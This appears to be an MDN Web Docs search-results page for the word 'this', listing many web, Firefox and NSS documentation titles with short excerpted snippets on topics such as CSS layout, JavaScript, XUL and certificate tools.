this series of articles looks at the options you have when you want to publish and distribute your game, and earn something out of it while you wait for it to become famous.
...And 38 more matches
Setting up your own test automation environment - Learn web development
previous overview: cross browser testing in
this article, we will teach you how to install your own automation environment and run your own tests using selenium/webdriver and a testing library such as selenium-webdriver for node.
...there are other ways, but the best way to use selenium is via webdriver, a powerful api that builds on top of selenium and makes calls to a browser to automate it, carrying out actions such as "open
this web page", "move over
this element on the page", "click
this link", "see whether the link opens
this url", etc.
...
this is ideal for running automated tests.
...And 38 more matches
Drawing and Event Handling - Plugins
« previousnext »
this chapter tells how to determine whether a plug-in instance is windowed or windowless, how to draw and redraw plug-ins, and how to handle plug-in events.
...
this type of plug-in determines when it draws itself.
...
this target is either the windowed plug-in's native window, or the drawable of a windowless plug-in.
...And 38 more matches
Realizing common layouts using CSS Grid Layout - CSS: Cascading Style Sheets
to round off
this set of guides to css grid layout, i am going to walk through a few different layouts, which demonstrate some of the different techniques you can use when designing with grid layout.
...as you can see from
this set of examples, there is often more than one way to achieve the result you want with grid layout.
... a responsive layout with 1 to 3 fluid columns using grid-template-areas many websites are a variation of
this type of layout, with content, sidebars, a header and a footer.
...And 38 more matches
page-mod - Archive of obsolete content
so you can rewrite the above code like
this: var pagemod = require("sdk/page-mod"); pagemod.pagemod({ include: "*.mozilla.org", contentscriptfile: "./my-script.js" }); unless your content script is extremely simple and consists only of a static string, don't use contentscript: if you do, you may have problems getting your add-on approved on amo.
...
this makes your code easier to maintain, secure, debug and review.
... to do
this, you'll need to listen to the page-mod's attach event.
...And 37 more matches
ui/frame - Archive of obsolete content
usage
this module exports the frame constructor, which can be used to create frame components.
... for example,
this html document defines a <select> element and a couple of <span> elements, and includes a css file to style the content and a javascript script to implement behavior: <!doctype html> <html> <head> <link href="city-info.css" rel="stylesheet"></link> </head> <body> <select name="city" id="city-selector"></select> <span id="time" class="info-element"></span> <span id="weather" class="info-element"></span> <script type=...
..."text/javascript" src="city-info.js"></script> </body> </html> if we save
this document as "city-info.html" under the add-on's "data" directory, we can create a frame hosting it and add the frame to a toolbar like
this: var { frame } = require("sdk/ui/frame"); var { toolbar } = require("sdk/ui/toolbar"); var frame = new frame({ url: "./city-info.html" }); var toolbar = toolbar({ name: "city-info", title: "city info", items: [frame] }); the toolbar is positioned between the address bar and the content window.
...And 37 more matches
Complete - Archive of obsolete content
this article is not finished yet.
...
this page is for readers who have followed the custom toolbar button tutorial for firefox, thunderbird and sunbird, or the custom toolbar button:seamonkey tutorial for seamonkey, and who want to learn more about developing extensions.
...
this page describes how to structure the extension in a more conventional way.
...And 37 more matches
Flexbox - Learn web development
this article explains all the fundamentals.
... introducing a simple example in
this article we are going to get you to work through a series of exercises to help you understand how flexbox works.
...to do
this, we set a special value of display on the parent element of the elements you want to affect.
...And 37 more matches
Looping code - Learn web development
he might use the following loop to achieve
this: a loop usually has one or more of the following features: a counter, which is initialized with a certain value —
this is the starting point of the loop ("start: i have no food", above).
...
this is illustrated by "have i got enough food?", above.
...we haven't explicitly illustrated
this above, but we could think about the farmer being able to collect say 2 portions of food per hour.
...And 37 more matches
Making decisions in your code — conditionals - Learn web development
in
this article, we'll explore how so-called conditional statements work in javascript.
... a condition to test, placed inside the parentheses (typically "is
this value bigger than
this other value?", or "does
this value exist?").
... a set of curly braces, inside which we have some code —
this can be any code we like, and it only runs if the condition returns true.
...And 37 more matches
Strategies for carrying out testing - Learn web development
previous overview: cross browser testing next
this article starts the module off by providing an overview of the topic of (cross) browser testing, answering questions such as "what is cross-browser testing?", "what are the most common types of problems you'll encounter?", and "what are the main approaches for testing, identifying, and fixing problems?" prerequisites: familiarity with the core html, css, and javascript languages; an idea of the high level principles of cross-browser testing.
...you can make
this as simple or as complex as you like — for example a common approach is to have multiple grades of support level, something like: a grade: common/modern browsers — known to be capable.
... throughout the following sections, we'll build up a support chart in
this format.
...And 37 more matches
Midas
internet explorer supports the ability to make an entire document editable by setting the designmode property of the document object;
this is how midas is invoked in gecko.
... you can try demo of
this here.
... properties document.designmode by setting
this property to "on", the document becomes editable.
...And 37 more matches
Digital audio concepts - Web media technologies
this guide is an overview examining how audio is represented digitally, and how codecs are used to encode and decode audio for use on the web.
...some audio does travel through water, or even through the rock comprising the planet itself (if you've ever heard the rumble or boom of an earthquake, you've experienced
this phenomenon), but nearly all of the sounds you hear every day travel to your ears through the air.
...
this process is called analog to digital conversion (a/d for short).
...And 37 more matches
browser - Archive of obsolete content
autoscroll type: boolean set to false to disable autoscroll for
this browser.
... if
this attribute is set to true or omitted, autoscroll will be enabled or depending on the user preference general.autoscroll.
... disablesecurity type: boolean set
this attribute to true to disable the security ui for
this browser.
...And 36 more matches
prefwindow - Archive of obsolete content
this element should be used in place of the window tag and should contain one or more prefpane elements.
...normally, you would not set
this attribute as it will be set automatically such that the default pane is the same as the one showing when the preferences dialog was last closed.
...the preference window will not run correctly if you do not set
this preference in your application's defaults (see bug 485150 for more information).
...And 36 more matches
2D maze game with device orientation - Game development
in
this tutorial we’ll go through the process of building an html5 mobile game that uses the device orientation and vibration apis to enhance the gameplay and is built using the phaser framework.
... basic javascript knowledge is recommended to get the most from
this tutorial.
...it will look something like
this: phaser framework phaser is a framework for building desktop and mobile html5 games.
...And 36 more matches
Index - MDN Web Docs Glossary: Definitions of Web-related terms
this glossary provides definitions of words and abbreviations you need to know to successfully understand and build for the web.
...
this is defined by the layout mode; it is usually the alignment subject’s containing block, and assumes the writing mode of the box establishing the containing block.
...
this is compared to a variable that can store only one value.
...And 36 more matches
Styling links - Learn web development
we'll look at all these topics in
this article.
...in
this article we'll build on
this knowledge, showing you best practices for styling links.
...
this can be specifically styled using the :link pseudo class.
...And 36 more matches
source-editor.jsm
this component has been removed from the platform in firefox 28.
...ptional] number acolumn, [optional] number aalign); void setselection(number astart, number aend); breakpoint management void addbreakpoint(number alineindex, [optional] string acondition); array getbreakpoints(); boolean removebreakpoint(number alineindex); properties attribute type description dirty boolean set
this value to false whenever you save the text; the editor will update it to true when the content is changed.
... you can then use
this value to detect when the contents of the text are different from your most recent save.
...And 36 more matches
Mail composition back end
warning: the content of
this article may be out of date.
...you also have the ability to save rfc822 files to disk, should you need
this data for some reason.
... included in
this functionality is the code to copy the messages to the appropriate locations after delivery (i.e.
...And 36 more matches
Index - Firefox Developer Tools
2 3d view html, tools, web development, web development:tools when you click on the 3d view button, the page goes into 3d view mode; in
this mode, you can see your page presented in a 3d view in which nested blocks of html are increasingly "tall," projecting outward from the bottom of the page.
...
this view makes it easy to visualize the nesting of your content.
...
this article takes you through the main features of the accessibility inspector and how to use it.
...And 36 more matches
Timing element visibility with the Intersection Observer API - Web APIs
in
this article, we'll build a mock blog which has a number of ads interspersed among the contents of the page, then use the intersection observer api to track how much time each ad is visible to the user.
... although many aspects of
this example will not match real world usage (in particular, the articles all have the same text and aren't loaded from a database, and there are just a handful of simple text-only ads that are selected from an array),
this should provide enough understanding of the api to quickly learn how to apply the intersection observer api to your own site.
... there's a good reason why the notion of tracking visibility of ads is being used in
this example.
...And 36 more matches
Compiling from Rust to WebAssembly - WebAssembly
this tutorial takes you through all you need to know to compile a rust project to wasm and use it in an existing web app.
... in
this tutorial, we build an npm package using wasm-pack, a tool for building npm packages in rust.
...
this package will contain only webassembly and javascript code, and so the users of the package won't need rust installed.
...And 36 more matches
Block and Line Layout Cheat Sheet - Archive of obsolete content
the details of block and line layout are tricky;
this document serves as a "cheat sheet" that describes how the vagary of different state flags control what's going on.
... objects
this section presents some of the classes involved in block and line reflow, along with important members of each object that control reflow processing.
... ns_frame_in_reflow
this bit is set when the frame is being actively being reflowed.
...And 35 more matches
Beginner's guide to media queries - Learn web development
in
this lesson you will first learn about the syntax used in media queries, and then move on to use them in a worked example showing how a simple design might be made responsive.
... media query basics the simplest media query syntax looks like
this: @media media-type and (media-feature-rule) { /* css rules go here */ } it consists of: a media type, which tells the browser what kind of media
this code is for (e.g.
... @media screen and (width: 600px) { body { color: red; } } open
this example in the browser, or view the source.
...And 35 more matches
Performance best practices for Firefox front-end engineers
this guide will help firefox developers working on front-end code produce code which is as performant as possible—not just on its own, but in terms of its impact on other parts of firefox.
... the rendering process goes through the following steps: the above image is used under creative commons attribution 3.0, courtesy of
this page from our friends at google, which itself is well worth the read.
... for a very down-to-earth explanation of the style, layout, paint and composite steps of the pipeline,
this hacks blog post does a great job of explaining it.
...And 35 more matches
NSS PKCS11 Functions
pkcs #11 functions
this chapter describes the core pkcs #11 functions that an application needs for communicating with cryptographic modules.
...
this was converted from "chapter 7: pkcs #11 functions".
...syntax #include "secmod.h" extern secmodmodule *secmod_loadusermodule(char *modulespec, secmodmodule *parent, prbool recurse); parameters
this function has the following parameters: modulespec is a pkcs #11 modulespec.
...And 35 more matches
certutil
this document discusses certificate and key database management.
...the certificate database should already exist; if one is not present,
this option will initialize one by default.
...
this requires the -i argument.
...And 35 more matches
Building the WebLock UI
in
this chapter, however, we are going to be building a user interface for the weblock component that's meant to be added to the existing mozilla browser[other-mozlike-browsers].
...specifically, the user interface we create in
this chapter will be overlaid into the statusbar of the browser component, where it will provide a small icon the user can click to access the web lock interface.
... weblock indicator in browser user interface package list the user interface described in
this section is comprised of four files: weblockoverlay.xul is the file that defines the little status icon in the browser.
...And 35 more matches
Setting up the Gecko SDK
« previousnext »
this chapter provides basic setup information for the gecko software development kit (sdk) used to build the weblock component in
this tutorial.
...in
this appendix, we set up the windows gecko sdk in c:\gecko-sdk\.
... if you choose some other location, remember to adjust the settings described here (e.g., in the building a microsoft visual cpp project section below) to point to
this new location.
...And 35 more matches
Using XPCOM Utilities to Make Things Easier
« previousnext »
this chapter goes back over the code you've already created in the first part of the tutorial (see weblock1.cpp in the previous chapter) and uses xpcom tools that make coding a lot easier and more efficient.
...to get an idea about how much can be handled with the macros described in
this section, compare the code listing in weblock2.cpp at the end of the chapter with weblock1.cpp in the previous chapter.
... note that all of the macros described in
this section are similar but are used in slightly different situations.
...And 35 more matches
Mozilla internal string guide
this guide documents the string classes which are visible to code within the mozilla codebase (code which is linked into libxul).
...for the purpose of
this document, we will refer to the 16-bit string classes in class documentation.
...
this class corresponds to the xpidl astring parameter type.
...And 35 more matches
Getting Started Guide
if you have never used nscomptrs before,
this section is for you.
... xpcom basics: ownership and reference counting
this is a quick refresher on some fundamental issues of xpcom.
... you should already know
this, and should be able to just skim
this short section.
...And 35 more matches
Debugger.Script - Firefox Developer Tools
this allows the code using each debugger instance to place whatever properties it likes on its debugger.script instances, without worrying about interfering with other debuggers.) a debugger.script instance is a strong reference to a jsscript object; it protects the script it refers to from being garbage collected.
... please note at the time of
this writing, support for webassembly is very preliminary.
... accessor properties of the debugger.script prototype object a debugger.script instance inherits the following accessor properties from its prototype: isgeneratorfunction true if
this instance refers to a jsscript for a function defined with a function* expression or statement.
...And 35 more matches
<input type="image"> - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
...
this takes precedence over the action attribute on the <form> element that owns the <input>.
...
this attribute is also available on <input type="submit"> and <button> elements.
...And 35 more matches
<link>: The External Resource Link element - HTML: Hypertext Markup Language
this element is most commonly used to link to stylesheets, but is also used to establish site icons (both "favicon" style icons and icons for the home screen and apps on mobile devices) among other things.
... the source for
this interactive example is stored in a github repository.
... to link an external stylesheet, you'd include a <link> element inside your <head> like
this: <link href="main.css" rel="stylesheet">
this simple example provides the path to the stylesheet inside an href attribute, and a rel attribute with a value of stylesheet.
...And 35 more matches
Elements - Archive of obsolete content
bindings
this section is tested and adjusted for the current firefox implementation.
...
this has been fixed for future versions of mozilla products.
...
this way a more-or-less universal namespace declaration in your bindings could be like: <bindings xmlns="http://www.mozilla.org/xbl" xmlns:html = "http://www.w3.org/1999/xhtml" xmlns:xul = "http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" xmlns:svg = "http://www.w3.org/2000/svg" xmlns:xlink= "http://www.w3.org/1999/xlink"> binding <!entity % binding-content "(resources?,conten...
...And 34 more matches
Styling a Tree - Archive of obsolete content
this is because the tree body is stored in a different way to other elements.
...
this can be used with trees with static content, rdf built content or with those with a custom view.
...
this would be used to implement mozilla mail's labels feature.
...And 34 more matches
tab - Archive of obsolete content
tes accesskey, afterselected, beforeselected, command, crop, disabled, first-tab, image, label, last-tab, linkedpanel, oncommand, pending, pinned, selected, tabindex, unread, validate, value properties accesskey, accessibletype, command, control, crop, disabled, image, label, linkedpanel, selected, tabindex, value examples (example needed) attributes accesskey type: character
this should be set to a character that is used as a shortcut key.
...
this should be one of the characters that appears in the label attribute for the element.
... afterselected type: boolean
this is set to true if the tab is immediately after the currently selected tab.
...And 34 more matches
Reference - Archive of obsolete content
well if you combine the two, you can have inherited private variables: function myclass(){ var property = 5;
this.tellme = function(){ return property; } } function myotherclass(){ myclass.apply(
this ); } var o = new myotherclass; alert( o.tellme() ); //alerts 5 as you'd expect — the preceding comment was added by psygnisfive (talk – contribs) on 22:23, 4 december 2006 terminology we need a terminology appendix.
...in particular
this means we should define activation object somewhere (and link to it whenever we mention it).
...so how should
this be documented?
...And 34 more matches
CSS and JavaScript accessibility best practices - Learn web development
this article outlines some css and javascript best practices that should be considered to ensure even complex content is as accessible as possible.
... correct semantics and user expectation it is possible to use css to make any html element look like anything, but
this doesn't mean that you should.
... "standard" text content structure headings, paragraphs, lists — the core text content of your page: <h1>heading</h1> <p>paragraph</p> <ul> <li>my list</li> <li>has two items.</li> </ul> some typical css might look like
this: h1 { font-size: 5rem; } p, li { line-height: 1.5; font-size: 1.6rem; } you should: select sensible font sizes, line heights, letter spacing, etc.
...And 34 more matches
Responsive images - Learn web development
previous overview: multimedia and embedding next in
this article, we'll learn about the concept of responsive images — images that work well on devices with widely differing screen sizes, resolutions, and other such features — and look at what tools html provides to help implement them.
...
this helps to improve performance across different devices.
...here's a simple example:
this works well on a wide screen device, such as a laptop or desktop (you can see the example live and find the source code on github.) we won't discuss the css much in
this lesson, except to say that: the body content has been set to a maximum width of 1200 pixels — in viewports above that width, the body remains at 1200px and centers itself in the available space.
...And 34 more matches
Object prototypes - Learn web development
in
this article, we explain how prototype chains work and look at how the prototype property can be used to add methods to existing constructors.
... note:
this article covers traditional javascript constructors and classes.
...
this is often referred to as a prototype chain, and explains why different objects have properties and methods defined on other objects available to them.
...And 34 more matches
Introduction to automated testing - Learn web development
to handle
this efficiently, you should become familiar with automation tools.
... in
this article, we look at what is available, how to use task runners, and how to use the basics of commercial browser test automation apps such as lambdatest, sauce labs, browserstack, and testingbot.
... automation makes things easy throughout
this module we have detailed loads of different ways in which you can test your websites and apps, and explained the sort of scope your cross-browser testing efforts should have in terms of what browsers to test, accessibility considerations, and more.
...And 34 more matches
Eclipse CDT Manual Setup
mach setup most people should be reading the eclipse cdt page instead of
this one, now that mach ide eclipse is a thing.
...
this page contains the content that used to live on the eclipse cdt page that most people will likely just consider noise.
... setup time some points in the rest of
this document below are old and taken care of by the mach commands described above (although some of the project configuration is not done automatically yet).
...And 34 more matches
NSS tools : certutil
this document discusses certificate and key database management.
... the certificate database should already exist; if one is not present,
this command option will initialize one by default.
...
this requires the -i argument.
...And 34 more matches
JSAPI User Guide
this document explains how to embed spidermonkey, the mozilla javascript engine, in your c++ program.
...
this section describes what these things are.
...whenever javascript code does something like window.open("http://www.mozilla.org/"), it is accessing a global property, in
this case window.
...And 34 more matches
nsIIOService
netwerk/base/public/nsiioservice.idlscriptable
this interface provides a set of url parsing utility functions.
... inherits from: nsisupports last changed in gecko 1.2
this interface duplicates many of the nsiprotocolhandler methods in a protocol handler independent way (for example newuri() inspects the scheme in order to delegate creation of the new uri to the appropriate protocol handler).
...when in offline mode, attempts to access the network will fail (although
this does not necessarily correlate with whether there is actually a network available -- that's hard to detect without causing the dialer to come up).
...And 34 more matches
nsIPrincipal
boolean subsumes(in nsiprincipal other); attributes attribute type description certificate nsisupports the certificate associated with
this principal, if any.
... if there isn't one,
this will return null.
... getting
this attribute never throws.
...And 34 more matches
Establishing a connection: The WebRTC perfect negotiation pattern - Web APIs
this article introduces webrtc perfect negotiation, describing how it works and why it's the recommended way to negotiate a webrtc connection between peers, and provides sample code to demonstrate the technique.
...
this was due to a small number of issues with the api and some potential race conditions that needed to be prevented.
...negotiation is an inherently asymmetric operation: one side needs to serve as the "caller" while the other peer is the "callee." the perfect negotiation pattern smooths
this difference away by separating that difference out into independent negotiation logic, so that your application doesn't need to care which end of the connection it is.
...And 34 more matches
Movement, orientation, and motion: A WebXR example - Web APIs
in
this article, we'll make use of information introduced in the previous articles in our webxr tutorial series to construct an example which animates a rotating cube around which the user can move freely using a vr headset, keyboard, and/or mouse.
...
this will help to solidify your understanding of how the geometry of 3d graphics and vr work, as well as to help ensure you understand the way the functions and data that are used during xr rendering work together.
... screenshot of
this example in action the core of
this example—the spinning, textured, lighted cube—is taken from our webgl tutorial series; namely, the penultimate article in the series, covering lighting in webgl.
...And 34 more matches
WindowOrWorkerGlobalScope.setTimeout() - Web APIs
this syntax is not recommended for the same reasons that make using eval() a security risk.
...if
this parameter is omitted, a value of 0 is used, meaning execute "immediately", or more accurately, the next event cycle.
...if you want to enable
this functionality on that browser, you must use a polyfill (see the polyfill section).
...And 34 more matches
Basic Concepts of grid layout - CSS: Cascading Style Sheets
this article introduces the css grid layout and the new terminology that is part of the css grid layout level 1 specification.
... the features shown in
this overview will then be explained in greater detail in the rest of
this guide.
...
this sets the grid to the specified pixel which fits to the layout you desire.
...And 34 more matches
JavaScript Client API - Archive of obsolete content
overview
this page describes how to use the internal client-side sync javascript api.
...
this api is available in mozilla-based products that use sync, such as firefox desktop.
...
this document is somewhat outdated, and the api isn't well-supported for use from add-ons; tread carefully.
...And 33 more matches
XUL Structure - Archive of obsolete content
this means that the same css properties may be used to style both html and xul, and many of the features can be shared between both.
...for
this reason, mozilla provides a method of installing content locally and registering the installed files as part of its chrome system.
...
this allows a special url form, called a chrome:// url, to be used.
...And 33 more matches
Introduction to CSS layout - Learn web development
overview: css layout next
this article will recap some of the css layout features we've already touched upon in previous modules — such as different display values — and introduce some of the concepts we'll be covering throughout
this module.
... the page layout techniques we'll be covering in more detail in
this module are normal flow the display property flexbox grid floats positioning table layout multiple-column layout each technique has its uses, advantages, and disadvantages, and no technique is designed to be used in isolation.
...let's look at a quick html example: <p>i love my cat.</p> <ul> <li>buy cat food</li> <li>exercise</li> <li>cheer up friend</li> </ul> <p>the end!</p> by default, the browser will display
this code as follows: note here how the html is displayed in the exact order in which it appears in the source code, with elements stacked up on top of one another — the first paragraph, followed by the unordered list, followed by the second paragraph.
...And 33 more matches
From object to iframe — other embedding technologies - Learn web development
at
this point we'd like to take somewhat of a sideways step, looking at some elements that allow you to embed a wide variety of content types into your webpages: the <iframe>, <embed> and <object> elements.
... prerequisites: basic computer literacy, basic software installed, basic knowledge of working with files, familiarity with html fundamentals (as covered in getting started with html) and the previous articles in
this module.
...these were considered the height of coolness in the mid to late 90s, and there was evidence that having a webpage split up into smaller chunks like
this was better for download speeds — especially noticeable with network connections being so slow back then.
...And 33 more matches
Useful string methods - Learn web development
when you create a string, for example by using let string = '
this is my string'; your variable becomes a string object instance, and as a result has a large number of properties and methods available to it.
... you can see
this if you go to the string object page and look down the list on the side of the page!
... finding the length of a string
this is easy — you simply use the length property.
...And 33 more matches
Object-oriented JavaScript for beginners - Learn web development
previous overview: objects next with the basics out of the way, we'll now focus on object-oriented javascript (oojs) —
this article presents a basic view of object-oriented programming (oop) theory, then explores how javascript emulates object classes via constructor functions, and how to create object instances.
... objective: to understand the basic theory behind object-oriented programming, how
this relates to javascript ("everything is an object"), and how to create constructors and object instances.
... to start
this off, we could return to our person object type from our first objects article, which defines the generic data and functionality of a person.
...And 33 more matches
Profiling with the Firefox Profiler
also note that
this indicates what would have happened had there been an event waiting and not necessarily that there was an event pending for that long.
...in
this case, we have the 'geckomain [default]' process' main thread, a content process' main thread, and the main thread of the compositor process.
... note: because
this is a sampling profiler, be cautious when examining running time that is equal to the sampling interval.
...And 33 more matches
NSS tools : modutil
synopsis modutil [options] [[arguments]] status
this documentation is still work in progress.
...
this tool can also create certificate, key, and module security database files.
...use
this option with the -libfile, -ciphers, and -mechanisms arguments.
...And 33 more matches
Avoiding leaks in JavaScript XPCOM components
quite a lot has happened since
this article was written.
...
this article needs to be updated to reflect the changes and the cases where they help.
... take every information on
this site with a grain of salt, although most concepts and best practices still apply.
...And 33 more matches
ARIA Test Cases - Accessibility
introduction the information on
this page is out of date: it was last updated november 2010.
...
this must be done in order to determine where to file a bug (browser or at).
... there are several purposes for providing
this information: help browser vendors provide correct implementations help at vendors provide correct implementations inform authors as to what actually works reliably in general we're testing with the latest public releases.
...And 33 more matches
ui/button/toggle - Archive of obsolete content
with
this module you can create buttons that function like a check box, representing an on/off choice.
...
this can contain a number or a string, and you can update it at any time.
...you can do
this in the button's constructor, by assigning the listener to the onclick or onchange option.
...And 32 more matches
tree - Archive of obsolete content
description content tree nsitreeview, nsitreecontentview yes
this tree has treeitem elements placed within the treechildren element.
... in
this situation, a content view (which implements the interface nsitreecontentview) which is a more specialized type of view, uses the treeitem elements and their descendants to determine the data to display in the tree.
... rdf tree nsitreeview, nsixultreebuilder no
this tree is generated from an rdf datasource.
...And 32 more matches
Video and audio content - Learn web development
in
this article we'll look at doing just that with the <video> and <audio> elements; we'll then finish off by looking at how to add captions/subtitles to your videos.
...
this kind of technology worked ok, but it had a number of problems, including not working well with html/css features, security issues, and accessibility issues.
... a native solution would solve much of
this if implemented correctly.
...And 32 more matches
Third-party APIs - Learn web development
this article looks at the difference between browser apis and 3rd party apis and shows some typical uses of the latter.
...
this typically involves first linking to a javascript library available on the server via a <script> element, as seen in our mapquest example: <script src="https://api.mqcdn.com/sdk/mapquest-js/v1.3.2/mapquest.js"></script> <link type="text/css" rel="stylesheet" href="https://api.mqcdn.com/sdk/mapquest-js/v1.3.2/mapquest.css"/> you can then start using the objects available in that library.
...in
this case we specify the coordinates of the center of the map, a map layer of type map to show (created using the mapquest.tilelayer() method), and the default zoom level.
...And 32 more matches
How Mozilla's build system works
this documentation is for mozilla developers who need to work on mozilla's build system.
...
this document explains how the build system works.
... note:
this document is not intended for developers who just want to build mozilla.
...And 32 more matches
Error codes returned by Mozilla APIs
ns_error_not_implemented (0x80004001)
this error is caused by methods which are not implemented.
...
this could occur because the implementation has not yet been written, or because the component intentionally does not support the desired feature.
... ns_error_null_pointer (0x80004003) an error occurred because a value was set to null when
this was not expected.
...And 32 more matches
Application Translation with Mercurial
in
this example, we assume firefox for desktop shall be localized and that the localization branch is aurora.
... if it is a red text consisting of a number and the word 'missing', then there are untranslated texts and you can move on with
this guide.
...
this is only necessary once.
...And 32 more matches
Component Internals
« previousnext » where the previous chapter described components from the perspective of a client of xpcom components,
this chapter discusses components from the perspective of the software developer.
...in
this diagram, the outer boundary is that of the module, the shared library in which a component is defined.
...
this nsgetmodule function is the entry point for accessing the library.
...And 32 more matches
nsIProtocolHandler
netwerk/base/nsiprotocolhandler.idlscriptable
this interface is used to implement protocol handlers.
... if you wish to create a new protocol handler, you need to implement
this interface.
...if the protocol doesn't need a port (for example, the "about" protocol),
this attribute is -1.
...And 32 more matches
Working with data
note: if type.size is undefined, creating a new object
this way will throw a typeerror exception.
... creating initialized cdata objects similarly, you can initialize cdata objects with specific values at the type of creation by specifying them as a parameter when calling the ctype's constructor, like
this: var mycdataobj = new type(value); var mycdataobj = type(value); if the size of the specified type isn't undefined, the specified value is converted to the given type.
...
this is the same as new arraytype(type.elementtype, value).
...And 32 more matches
Fullscreen API - Web APIs
this makes it possible to present desired content—such as an online game—using the user's entire screen, removing all browser user interface elements and other applications from the screen until full-screen mode is shut off.
... note: support for
this api varies somewhat across browsers, with many requiring vendor prefixes and/or not implementing the latest specification.
... see the browser compatibility section below for details on support for
this api.
...And 32 more matches
<input type="url"> - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
...
this doesn't necessarily mean the url address exists, but it is at least formatted correctly.
... in simple terms,
this means urlscheme://restofurl.
...And 32 more matches
Function.prototype.bind() - JavaScript
the bind() method creates a new function that, when called, has its
this keyword set to the provided value, with a given sequence of arguments preceding any provided when the new function is called.
... the source for
this interactive example is stored in a github repository.
... syntax let boundfunc = func.bind(
thisarg[, arg1[, arg2[, ...argn]]]) parameters
thisarg the value to be passed as the
this parameter to the target function func when the bound function is called.
...And 32 more matches
Migrate apps from Internet Explorer to Mozilla - Archive of obsolete content
in
this article, i will describe mozilla's quirks mode, which provides strong backwards html compatibility with internet explorer and other legacy browsers.
...not only does
this make the code easier to read, it simplifies adding support for new clients: var elm = getelmbyid("myid"); function getelmbyid(aid){ var element = null; if (ismozilla || isie5) element = document.getelementbyid(aid); else if (isnetscape4) element = document.layers[aid]; else if (isie4) element = document.all[aid]; return element; } the above code still has the issue of ...
...you can usually do
this by testing the required functionality in javascript.
...And 31 more matches
Templates - Archive of obsolete content
« previousnext » in
this section, we'll find out how to populate elements with data.
... simple template example
this is better explained with an example.
...
this example will only get the top-level bookmarks (or bookmark folders) as we're going to create buttons.
...And 31 more matches
toolbarbutton - Archive of obsolete content
label="menu item 2"/> </menupopup> </toolbarbutton> </toolbar> <toolbar id="radio-toolbar"> <toolbarbutton accesskey="1" label="radio 1" type="radio" group="radiogroup"/> <toolbarbutton accesskey="2" label="radio 2" type="radio" group="radiogroup"/> <toolbarbutton accesskey="3" label="radio 3" type="radio" group="radiogroup"/> </toolbar> attributes accesskey type: character
this should be set to a character that is used as a shortcut key.
...
this should be one of the characters that appears in the label attribute for the element.
... autocheck type: boolean if
this attribute is true or left out, the checked state of the button will be switched each time the button is pressed.
...And 31 more matches
Archived Mozilla and build documentation - Archive of obsolete content
if you are a plug-in author, you may find
this project saves you a lot of work!
... ant script to assemble an extension
this ant script helps to package an extension archived spidermonkey docs
this section contains old spidermonkey documentation.
... autodial for windows nt
this document is intended to explain how the autodial helper feature implemented for bug 93002 works and why it works that way.
...And 31 more matches
Mozilla release FAQ - Archive of obsolete content
warning: the content of
this article may be out of date.
...
this document may be distributed and modified freely.
... no guarantee of factuality in
this faq is made, and it is maintained by pat gunn, who is not affiliated with netscape.
...And 31 more matches
Build your own function - Learn web development
previous overview: building blocks next with most of the essential theory dealt with in the previous article,
this article provides practical experience.
...we've seen
this before, but let's just refresh our memories.
... type the following in your browser's javascript console, on any page you like: alert('
this is a message'); the alert function takes a single argument — the string that is displayed in the alert box.
...And 31 more matches
What is JavaScript? - Learn web development
in
this article we will look at javascript from a high level, answering questions such as "what is it?" and "what can you do with it?", and making sure you are comfortable with javascript's purpose.
...ba(0,0,200,0.4); border-radius: 10px; padding: 3px 10px; display: inline-block; cursor: pointer; } and finally, we can add some javascript to implement dynamic behaviour: const para = document.queryselector('p'); para.addeventlistener('click', updatename); function updatename() { let name = prompt('enter a new name'); para.textcontent = 'player 1: ' + name; } try clicking on
this last version of the text label to see what happens (note also that you can find
this demo on github — see the source code, or run it live)!
...
this is how google maps is able to find your location and plot it on a map.
...And 31 more matches
Object building practice - Learn web development
in
this article we dive into a practical exercise, giving you some more practice in building custom javascript objects, with a fun and colorful result.
... let's bounce some balls in
this article we will write a classic "bouncing balls" demo, to show you how useful objects can be in javascript.
...the finished example will look a little something like
this:
this example will make use of the canvas api for drawing the balls to the screen, and the requestanimationframe api for animating the whole display — you don't need to have any previous knowledge of these apis, and we hope that by the time you've finished
this article you'll be interested in exploring them more.
...And 31 more matches
Working with Svelte stores - Learn web development
in
this article we will show another way to handle state management in svelte — stores.
...in
this case, the alert component is independent from the rest — it is not a parent or child of any other — so the messages don't fit into the component hierarchy.
...if you’ve already worked with redux or vuex, then you'll be familiar with how
this kind of store works.
...And 31 more matches
Mozilla accessibility architecture
this page is maintained by aaron leventhal and by the mozilla accessibility community.
...intro
this document is for people who wish to understand the architecture of mozilla's accessibility api module, which provides support for platform accessibility apis.
...readers of
this document should be familiar with interfaces, the w3c dom, xul and the concept of a layout object tree.
...And 31 more matches
Displaying Places information using views
see querying places for information about obtaining and using nsinavhistoryresult objects, which
this page assumes you are familiar with.
...the view is responsible for expanding the root nsinavhistorycontainerresultnode of
this instance and displaying the nsinavhistoryresultnode objects contained therein.
... every xul document containing a built-in view must import the stylesheet browser/components/places/content/places.css and overlay the file browser/components/places/content/placesoverlay.xul: <?xml-stylesheet href="chrome://browser/content/places/places.css" ?> <?xul-overlay href="chrome://browser/content/places/placesoverlay.xul" ?> it's
this stylesheet that binds elements with the special type attribute to one of the views.
...And 31 more matches
Storage access policy: Block cookies from trackers
this policy is designed as an alternative to the older cookie policies, which have been available in firefox for many years.
...
this policy protects against cross-site tracking while minimizing the site breakage associated with traditional cookie blocking.
...
this article explains how the policy works and how you can test it.
...And 31 more matches
NSS Tools certutil
starting from nss 3.35, the database format was upgraded to support sqlite as described in
this document.
...
this document discusses certificate and key database management.
... availability see the release notes for the platforms
this tool is available on.
...And 31 more matches
NSS tools : modutil
this tool can also create certificate, key, and module security database files.
...use
this option with the -libfile, -ciphers, and -mechanisms arguments.
...if the token has not been initialized,
this option initializes the password.
...And 31 more matches
Component; nsIPrefBranch
component: nsiprefbranch modules/libpref/public/nsiprefbranch.idlscriptable
this interface is used to manipulate the preferences data.
...
this object may be obtained from the preferences service (nsiprefservice) and used to get and set default and/or user preferences across the application.
... inherits from: nsisupports last changed in gecko 58 (firefox 58 / thunderbird 58 / seamonkey 2.55)
this object is created with a "root" value which describes the base point in the preferences "tree" from which
this "branch" stems.
...And 31 more matches
nsIXPConnect
inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) to access the xpconnect service, use code like
